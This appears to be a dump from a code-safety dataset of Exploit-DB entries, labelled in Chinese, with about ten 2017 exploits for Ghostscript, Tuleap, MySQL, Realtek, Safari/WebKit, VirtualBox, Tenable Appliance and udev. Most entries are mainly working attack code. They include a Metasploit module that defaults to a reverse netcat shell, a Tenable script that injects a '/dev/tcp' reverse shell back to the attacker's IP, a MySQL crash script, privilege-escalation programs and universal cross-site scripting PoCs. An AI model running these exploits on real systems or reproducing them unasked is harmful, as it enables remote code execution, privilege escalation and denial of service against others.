QLWD/code_shield huggingface dataset:
标题: Ghostscript 9.21 - Type Confusion Arbitrary Command Execution (Metasploit) EDB-ID: 41955 CVE: 2017-8291 类型: LOCAL 平台: LINUX 发布日期: 2017-05-02 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Ghostscript Type Confusion Arbitrary Command Execution',
      'Description'     => %q{
        This module exploits a type confusion vulnerability in Ghostscript that can
        be exploited to obtain arbitrary command execution. This vulnerability affects
        Ghostscript version 9.21 and earlier and can be exploited through libraries
        such as ImageMagick and Pillow.
      },
      'Author'          => [
        'Atlassian Security Team', # Vulnerability discovery
        'hdm'                      # Metasploit module
      ],
      'References'      => [
        %w{CVE 2017-8291},
        %w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
        %w{URL http://seclists.org/oss-sec/2017/q2/148},
        %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
        %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
      ],
      'DisclosureDate'  => 'Apr 27 2017',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Privileged'      => false,
      'Payload'         => {
        'BadChars'      => "\x22\x27\x5c)(", # ", ', \, (, and )
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat bash-tcp'
        }
      },
      'Targets'         => [
        ['EPS file',  template: 'msf.eps']
      ],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {
        'PAYLOAD'               => 'cmd/unix/reverse_netcat',
        'LHOST'                 => Rex::Socket.source_address,
        'DisablePayloadHandler' => false,
        'WfsDelay'              => 9001
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.eps'])
    ])
  end

  # Example usage from the bug tracker:
  # $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps

  def exploit
    file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded))
  end

  def template
    ::File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2017-8291',
      target[:template]
    ))
  end

end URL: https://www.exploit-db.com/exploits/41955
标题: Tuleap Project Wiki 8.3 < 9.6.99.86 - Command Injection EDB-ID: 41953 CVE: 2017-7981 类型: WEBAPPS 平台: PHP 发布日期: 2017-05-01 漏洞利用脚本: # Tuleap - Command Injection in Project Wiki

**CVE:** CVE-2017-7981

**CVSSv3:** 9.4 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:U/RC:C)

**Versions affected:** >= 8.3 and <= 9.6.99.86

## Introduction

Tuleap is a Libre suite to plan, track, code and collaborate on software
projects. Tuleap helps development teams to build awesome applications,
better, faster, easier.

## Background

Tuleap uses PHPWiki as a plugin to provide a weak feature for
projects. The version of PHPWiki used is 1.3.10. This version contains a
command injection vulnerability in the SyntaxHighlighter plugin. Other
applications that use PHPWiki similar to Tuleap will also be affected
by this issue.

The latest version of PHPWiki is 1.5.5 and is no longer vulnerable to this issue.

## Vulnerability

Authenticated users, including unprivileged users, with access to a
project containing a wiki, can exploit this command injection
(CI) vulnerability to gain remote unauthorised access to the server
hosting the Tuleap web application.

RCE is achieved by entering a SyntaxHighlighter plugin directive in a
new wiki page on any wiki available in any project. The SyntaxHighligter
plugin in vulnerable versions of PHPWiki passes the `syntax` argument
to the `proc_open()` PHP builtin function which spawns a process in the
operating system running the web application.

The following is an example plugin directie which would cause the `id(1)`
command to be executed on a Linux server running an affected version
of Tuleap.

```
<?plugin SyntaxHighlighter syntax="c;id"
code to be highlighted
?>
```

The result of the command execution can be seen in the image below.

![command execution](2017.04.tuleap-auth-ci.command-exec.png)

## Versions Affected

This vulnerability has existed in the version of PHPWiki used by the
Tuleap project since at least version 8.3 through to 9.6.99.86.

## References

https://github.com/xdrr/vulnerability-research/blob/master/webapp/tuleap/2017.04.tuleap-auth-ci.md

https://tuleap.net/plugins/tracker/?aid=10159

## Credit

This vulnerability was discovered by Ben N (pajexali@gmail.com) 19
April 2017. URL: https://www.exploit-db.com/exploits/41953
标题: MySQL < 5.6.35 / < 5.7.17 - Integer Overflow EDB-ID: 41954 CVE: 2017-3599 类型: DOS 平台: MULTIPLE 发布日期: 2017-05-01 漏洞利用脚本: '''
# Source: https://raw.githubusercontent.com/SECFORCE/CVE-2017-3599/master/cve-2017-3599_poc.py
# Exploit Title: Remote MySQL DOS (Integer Overflow)
# Google Dork: N/A
# Date: 13th April 2017
# Exploit Author: Rodrigo Marcos
# Vendor Homepage: https://www.mysql.com/
# Software Link: https://www.mysql.com/downloads/
# Version: 5.6.35 and below / 5.7.17 and below
# Tested on: N/A
# CVE : CVE-2017-3599
'''

import socket 
import sys
from struct import pack

'''
CVE-2017-3599 Proof of Concept exploit code.

https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/

Rodrigo Marcos

'''

if len(sys.argv)<2:

 print "Usage: python " + sys.argv[0] + " host [port]"
 exit(0)

else:
 HOST = sys.argv[1]

 if len(sys.argv)>2:
  PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side!
 else:
  PORT = 3306

print "[+] Creating packet..."

'''
3 bytes  Packet lenth
1 bytes  Packet number

Login request:

Packet format (when the server is 4.1 or newer):

Bytes       Content
-----       ----
4           client capabilities
4           max packet size
1           charset number
23          reserved (always 0)
n           user name, \0-terminated
n           plugin auth data (e.g. scramble), length encoded
n           database name, \0-terminated
            (if CLIENT_CONNECT_WITH_DB is set in the capabilities)
n           client auth plugin name - \0-terminated string,
            (if CLIENT_PLUGIN_AUTH is set in the capabilities)

'''

# packet_len = '\x64\x00\x00'

packet_num = '\x01'

#Login request packet
packet_cap = '\x85\xa2\xbf\x01'  # client capabilities (default)
packet_max = '\x00\x00\x00\x01'  # max packet size (default)
packet_cset = '\x21'    # charset (default)
p_reserved = '\x00' * 23    # 23 bytes reserved with nulls (default)
packet_usr =  'test\x00'    # username null terminated (default)

packet_auth  = '\xff'   # both \xff and \xfe crash the server

'''
Conditions to crash:

1 - packet_auth must start with \xff or \xfe
2 - packet_auth must be shorter than 8 chars

The expected value is the password, which could be of two different formats
(null terminated or length encoded) depending on the client functionality.
'''

packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth 
packet_len = pack('i',len(packet))[:3]

request = packet_len + packet_num + packet

print "[+] Connecting to host..."
try:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((HOST, PORT))
 print "[+] Connected."

except:
 print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "." 
 s.close()
 print "[+] Exiting."
 exit(0)

print "[+] Receiving greeting from remote host..."
data = s.recv(1024)
print "[+] Done."

print "[+] Sending our payload..."
s.send(request)
print "[+] Done."
#print "Our data: %r" % request

s.close() URL: https://www.exploit-db.com/exploits/41954
标题: Realtek Audio Driver 6.0.1.7898 (Windows 10) - Dolby Audio X2 Service Privilege Escalation EDB-ID: 41933 CVE: 2017-7293 类型: LOCAL 平台: WINDOWS 发布日期: 2017-04-25 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1075

Windows: Dolby Audio X2 Service Elevation of Privilege
Platform: Windows 10 + Realtek Audio Driver version 6.0.1.7898 (on a Lenovo P50). Version of the service binary 0.7.2.61 built on 7/18/2016.
Class: Elevation of Privilege

Summary:
The DAX2API service installed as part of the Realtek Audio Driver on Windows 10 is vulnerable to a privilege escalation vulnerability which allows a normal user to get arbitrary system privileges.

Description:

The DAX2API service is a DCOM service written in .NET running at system privileges. The use of .NET for DCOM is inherently unsafe and should not be used. There’s public exploit code to elevate privileges on arbitrary services available at https://github.com/tyranid/ExploitDotNetDCOM.

Microsoft recommends moving from using DCOM to WCF for .NET services of different privilege levels. See https://blogs.technet.microsoft.com/srd/2014/10/14/more-details-about-cve-2014-4073-elevation-of-privilege-vulnerability/ for more information.

Proof of Concept:

To demonstrate the vulnerability download the project https://github.com/tyranid/ExploitDotNetDCOM and compile using Visual Studio. The executable to use is ExploitDotNetDCOMSerialization.exe.

1) From a command prompt run the command “ExploitDotNetDCOMSerialization.exe 6A28A945-790C-4B68-B0F4-34EEB1626EE3 notepad” 
2) Check the currently running processes for the privileged copy of notepad,

Expected Result:
No privilege escalation occurs.

Observed Result:
An instance of notepad is running at system privileges.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41933.zip URL: https://www.exploit-db.com/exploits/41933
标题: Apple Safari - Array concat Memory Corruption EDB-ID: 41931 CVE: 2017-2464 类型: DOS 平台: MULTIPLE 发布日期: 2017-04-25 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1095

There is an out-of-bounds memcpy in Array.concat that can lead to memory corruption.

In builtins/ArrayPrototype.js, the function concatSlowPath calls a native method @appendMemcpy with a parameter resultIndex that is handled unsafely by the method. It calls JSArray::appendMemcpy, which calculates the memory size for the combined arrays as follows:

unsigned newLength = startIndex + otherLength;

If startIndex (resultIndex from concatSlowPath in JS) is very large, an integer overflow can occur, causing too small a buffer to be allocated, and copying to occur outside of the buffer.

It should be difficult to reach this state without a long execution time, because an array of length resultIndex needs to be allocated and copied before resultIndex is incremented, however if both arrays involved in the concatenation are of type ArrayWithUndecided JSArray::appendMemcpy returns true without copying, and resultIndex can be incremented with a low execution time.

Arrays of type ArrayWithUndecided are usually of length 0, however, it is possible to create one by calling Array.splice on an array with all undefined elements. This will cause an undefined Array of the delete length to be allocated, and then returned without it being written to, which would cause it to decide its type.

A minimal PoC is as follows, and a full PoC is attached.

var a = [];
a.length = 0xffffff00;

var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);
-->

<html>
<body>
<script>

var a = [];
a.length = 0xffffff00;

var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);

</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/41931
标题: Oracle VM VirtualBox 5.1.14 r112924 - Unprivileged Host User to Host Kernel Privilege Escalation via ALSA config EDB-ID: 41907 CVE: 2017-3576 类型: LOCAL 平台: LINUX 发布日期: 2017-04-20 漏洞利用脚本: /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1141

This is another way to escalate from an unprivileged userspace process
into the VirtualBox process, which has an open file descriptor to the
privileged device /dev/vboxdrv and can use that to compromise the
host kernel.

The issue is that, for VMs with ALSA audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. ALSA is not designed to run in a setuid
context and therefore deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, on a normal Ubuntu desktop installation with VirtualBox
installed, first configure a VM with ALSA audio, then (where
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):


~$ cd /tmp
/tmp$ cat > evil_vbox_lib.c
*/

#define _GNU_SOURCE

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
 if (strcmp(program_invocation_short_name, "VirtualBox"))
  return;

 prctl(PR_SET_DUMPABLE, 1);
 printf("running in pid %d\n", getpid());
 printf("searching for vboxdrv file descriptor in current process...\n");
 char linkbuf[1000];
 char *needle = "/dev/vboxdrv";
 for (int i=0; i<1000; i++) {
  char linkpath[1000];
  sprintf(linkpath, "/proc/self/fd/%d", i);
  ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);
  if (linklen == -1) continue;
  if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {
   printf("found it, fd %d is /dev/vboxdrv\n", i);
  }
 }
 _exit(0);
}

/*
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vbox_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c
running in pid 8910
searching for vboxdrv file descriptor in current process...
found it, fd 7 is /dev/vboxdrv
/tmp$ rm ~/.asoundrc


I believe that the ideal way to fix this would involve running
libasound, together with other code that doesn't require elevated
privileges - which would ideally be all userland code -, in an
unprivileged process. However, for now, moving only the audio output
handling into an unprivileged process might also do the job; I haven't
yet checked whether there are more libraries VirtualBox loads that
permit loading arbitrary libraries into the VirtualBox process.

You could probably theoretically also fix this by modifying libasound
to suppress dangerous configuration directives in ~/.asoundrc, but I
believe that that would be brittle and hard to maintain.

Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 r112924.
*/ URL: https://www.exploit-db.com/exploits/41907
标题: Tenable Appliance < 4.5 - Root Remote Code Execution EDB-ID: 41892 CVE: 2017-8051 类型: REMOTE 平台: LINUX 发布日期: 2017-04-18 漏洞利用脚本: #!/bin/bash
: '
According to http://static.tenable.com/prod_docs/upgrade_appliance.html they
fixed two security vulnerabilities in the web interface in release 4.5 so I
guess previous version are also vulnerable.

# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance
# Date: 18/04/17
# Exploit Author: agix
# Vendor Homepage: https://www.tenable.com/
# Version: < 4.5
# Tested on: Tenable Appliance 3.5

tenable $ ./rce.sh
bash: no job control in this shell
bash-3.2# ls
app
appliancelicense.html
appliancelicense.pdf
appliancelicense.txt
images
includes
index.ara
js
lcelicense.html
lcelicense.pdf
lcelicense.txt
migrate
nessuslicense.html
nessuslicense.pdf
nessuslicense.txt
password.ara
pvslicense.html
pvslicense.pdf
pvslicense.txt
sclicense.html
sclicense.pdf
sclicense.txt
simpleupload.py
static
bash-3.2# id
uid=0(root) gid=0(root)
bash-3.2#
'

#!/bin/bash

TENABLE_IP="172.16.171.179"
YOUR_IP="172.16.171.1"
LISTEN_PORT=31337


curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '&
nc -l -p $LISTEN_PORT URL: https://www.exploit-db.com/exploits/41892
标题: Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation EDB-ID: 41886 CVE: 2017-7874 类型: LOCAL 平台: LINUX 发布日期: 2017-04-15 漏洞利用脚本: /*
# Title: Linux Kernel 4.8.0 udev 232 - Privilege Escalation
# Author: Nassim Asrir
# Researcher at: Henceforth
# Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
# The full Research: https://www.facebook.com/asrirnassim/
# CVE: CVE-2017-7874

# Exp #

first of all we need to know a small infos about udev and how it work

the udev deamon is responsible for receiving device events from the kernel 

and this event are delivered to udev via netlink (is a socket family) 

you can read more about udev from: https://en.wikipedia.org/wiki/Udev

# Exploit #

The udev vulnerability resulted from a lack of verification of the netlink message source in udevd.

read lines from: /lib/udev/rules.d/50-udev-default.rules

all we need is this action: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"    

this action allows execution of arbitrary commands.

in our exploit we specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file.

Get your udev version:

Execute: $ udevadm --version

//output: 232

Maybe < 232 also is vulnerable 
*/



// gcc rootme.c -o rootme
// ./rootme
// segmantation fault 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;

  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;

  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;

  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));

  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;

  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);

  sendmsg(sock, &msg, 0);

  close(sock);

  return 0;
} URL: https://www.exploit-db.com/exploits/41886
标题: Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element EDB-ID: 41866 CVE: 2017-2479 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-04-11 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1119

This is somewhat similar to https://crbug.com/663476.

Here's a snippet of Container::replaceAllChildren.

while (RefPtr<Node> child = m_firstChild) {
    removeBetween(nullptr, child->nextSibling(), *child);
    notifyChildNodeRemoved(*this, *child);
}

If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.

Tested on Safari 10.0.3(12602.4.8).
-->

<html>
<head>
</head>
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
    btn.onfocus = null;

    window.g = inp.appendChild(document.createElement('iframe'));
    window.g.onload = () => {
        window.g.onload = null;

        window.g.src = 'javascript:alert(location)';
        let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.g);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

        let h = document.body.appendChild(document.createElement('iframe'));
        h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
    };

    window.g.src = 'https://abc.xyz/';
};

f.contentWindow.location.hash = 'btn';
inp.textContent = '';

</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/41866
标题: Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting EDB-ID: 41865 CVE: 2017-2480 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-04-11 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121

Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.

bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    // Support for <frame src="javascript:string">
    URL scriptURL;
    URL url;
    if (protocolIsJavaScript(urlString)) {
        scriptURL = completeURL(urlString); // completeURL() encodes the URL.
        url = blankURL();
    } else
        url = completeURL(urlString);

    if (shouldConvertInvalidURLsToBlank() && !url.isValid())
        url = blankURL();

    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
    if (!frame)
        return false;

    if (!scriptURL.isEmpty())
        frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

    return true;
}

A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<body>
<p>click anywhere</p>
<script>

window.onclick = () => {
    window.onclick = null;

    f = document.createElement('iframe');
    f.src = 'javascript:alert(location)';
    f.onload = () => {
        f.onload = null;

        let a = f.contentDocument.createElement('a');
        a.href = 'https://abc.xyz/';
        a.click();

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
    try {
        opener[0].document.x;
    } catch (e) {
        clearInterval(it);

        window.close();
    }
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    };

    document.body.appendChild(f);
};

cached.src = kUrl;

</script>
</body> URL: https://www.exploit-db.com/exploits/41865